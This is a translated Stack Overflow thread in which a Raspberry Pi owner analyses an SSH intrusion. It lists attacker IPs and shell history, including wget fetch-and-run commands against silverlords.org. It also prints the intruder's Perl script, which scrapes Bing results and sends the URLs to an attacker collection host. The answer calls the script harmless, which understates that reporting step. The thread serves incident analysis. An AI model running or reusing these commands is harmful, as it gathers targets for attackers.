linux - 在保护我的网络服务器(rpi)免受外部 ssh 登录的影响后,我在我的计算机上发现了这个 perl 脚本。有人能告诉我它有什么作用吗?

标签 linux perl security raspberry-pi

有一个名为“user”的帐户将用于这些登录,该帐户来自世界各地。昨天我花了几个小时保护计算机,从那时起就没有登录过。我awk将/var/log/auth.log 编辑到按从最旧到最近登录顺序排列的 ip 列表中,如果这有帮助的话:

    185.145.252.26
    185.145.252.36
    109.236.83.3
    104.167.2.4
    217.23.13.125
    185.38.148.238
    194.88.106.146
    43.225.107.70
    194.88.107.163
    192.162.101.217
    62.112.11.88
    194.63.141.141
    194.88.107.162
    74.222.19.247
    194.88.107.164
    178.137.184.237
    167.114.210.108
    5.196.76.41
    118.70.72.25
    109.236.91.85
    62.112.11.222
    91.195.103.172
    62.112.11.94
    62.112.11.90
    188.27.75.73
    194.88.106.197
    194.88.107.165
    38.84.132.236
    91.197.235.11
    62.112.11.79
    62.112.11.223
    144.76.112.21
    185.8.7.144
    91.230.47.91
    91.230.47.92
    91.195.103.189
    91.230.47.89
    91.230.47.90
    109.236.89.72
    195.228.11.82
    109.236.92.184
    46.175.121.38
    94.177.190.188
    171.251.76.179
    173.212.230.79
    144.217.75.30
    5.141.202.235
    31.207.47.36
    62.112.11.86
    217.23.2.183
    217.23.1.87
    154.122.98.44
    41.47.42.128
    41.242.137.33
    171.232.175.131
    41.114.123.190
    1.54.115.72
    108.170.8.185
    86.121.85.122
    91.197.232.103
    160.0.224.69
    217.23.2.77
    212.83.171.102
    41.145.17.243
    62.112.11.81
    82.79.252.36
    41.114.63.134
    5.56.133.126
    109.120.131.106
    76.68.108.151
    113.20.108.27
    46.246.61.20
    146.185.28.52
    45.32.219.199

更改“用户”帐户的密码后我做的第一件事就是运行 history ,这给了我这个结果:

1  sudo
2  sudo
3  sudo service vsftpd stop
4  su clay
5  unset PROMPT_COMMAND
6  PS1='[PEXPECT]\$'
7  wget http://xpl.silverlords.org/bing -O bing
8  wget http://www.silverlords.org/wordlist/xaaaaaaaaqb.txt -O word ; perl bing word
9  wget http://www.silverlords.org/wordlist/xaaaaaaaaiv.txt -O word ; perl bing word
10  uname
11  n
12  uname
13  history

然后我跑了 cat /home/user/.bash_history了解更多,但我已经拥有的就是文件中的所有内容。

在“用户”的主文件夹中,我找到了四个文件,bing , output.13.19.27.txt , output.16.10.38.txt ,和word 。除了 bing 之外,所有内容都是空的,这是一个 Perl 脚本:

#!/usr/bin/perl                                                            
use strict;                                                          
use LWP::UserAgent;                                                                 
use LWP::Simple;                                                                    
use POSIX qw(strftime);                                                             
my $data = strftime "%H.%M.%S", gmtime;                                             

my $ARGC = @ARGV;                                                                   
if ($ARGC !=1) {                                                                    
        printf "$0 arquivo.txt\n";                                                  
        printf "Coded by: Al3xG0 x@~\n";                                            
        exit(1);                                                                    
}
my $st = rand();
my $filename = $ARGV[0];
print "Input Filename - $filename\n";

my $max_results = 2;

open (IFH, "< $filename") or die $!;
open (OFH, "> output.${data}.txt") or die $!;

while (<IFH>) {
        next if /^ *$/;
        my $search_word = $_;
        $search_word =~ s/\n//;
        print "Results for -$search_word-\n";
        for (my $i = 0; $i < $max_results; $i += 10) {
                my $b = LWP::UserAgent->new(agent => 'Mozilla/4.8 [en] (Windows NT 6.0; U)');
                $b->timeout(30); $b->env_proxy;
                my $c = $b->get('http://www.bing.com/search?q=' . $search_word . '&first=' . $i . '&FORM=PERE')->content;
                my $check = index($c, 'sb_pagN');
                if ($check == -1) { last; }
                while (1) { 
                        my $n = index($c, '<h2><a href="');
                        if ($n == -1) { last; }
                        $c = substr($c, $n + 13);
                        my $s = substr($c, 0, index($c, '"'));
                        my $save = undef;
                        if ($s =~ /http:\/\/([^\/]+)\//g) { $save = $s; }
                        print "$save\n";
                        #if ($save !~ /^ *$/) { print OFH "$save\n"; print "$save\n"};
                        getprint("http://post.silverlords.org/sites.php?site=$save");
                }
        }
        print "\n";
}
close (IFH);
close (OFH);

我不懂perl,而且花了这么多时间在sshd配置、黑名单等方面,我真的没有时间或精力去学习。如果有人能告诉我该脚本的作用和/或攻击者试图做什么,那就太好了。

非常感谢,
粘土

编辑:我发现这篇文章可以解释 bing 搜索脚本的用途:https://www.wired.com/2013/02/microsoft-bing-fights-botnets/

最佳答案

它读取通过命令行传递的文件,并使用每一行作为一个短语来进行 Bing 搜索。它打印 Bing 返回的每个搜索结果的 URL,并将其发送到 http://post.silverlords.org/sites.php?site=$save,其中 $save 是 URL

它曾经将相同的 URL 写入 output.HH.MM.SS.txt 文件,但该行已被注释掉,因此文件已创建但保留为空

所以这只是一个命令行 bing 搜索;没什么太险恶的。基本上没有什么是他们不能在任何可以访问 bing

的机器上运行的

关于linux - 在保护我的网络服务器(rpi)免受外部 ssh 登录的影响后,我在我的计算机上发现了这个 perl 脚本。有人能告诉我它有什么作用吗?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/44346821/

相关文章:

php - 防止数据库类中的 SQL 注入(inject)

C++ 应用程序 : discover other IPs on LAN

linux - 在 stdout 中打印从底部开始的第 3 行

regex - 使用 Perl 执行系统命令

perl - 如何在 perl 中使用 typeglob 做与引用相同的事情?

perl - Selenium Webdriver 2 与 Firefox 26?

linux - 对升级 gcc 或 binutils 的影响

perl - 从其他 cgi 脚本调用 cgi 脚本

javascript - JS 最佳实践和安全检查用户的值,而不会出现未定义的情况 - 使用迷你函数

php - 在 MySQL 中使用/存储加密 key 的最佳方法是什么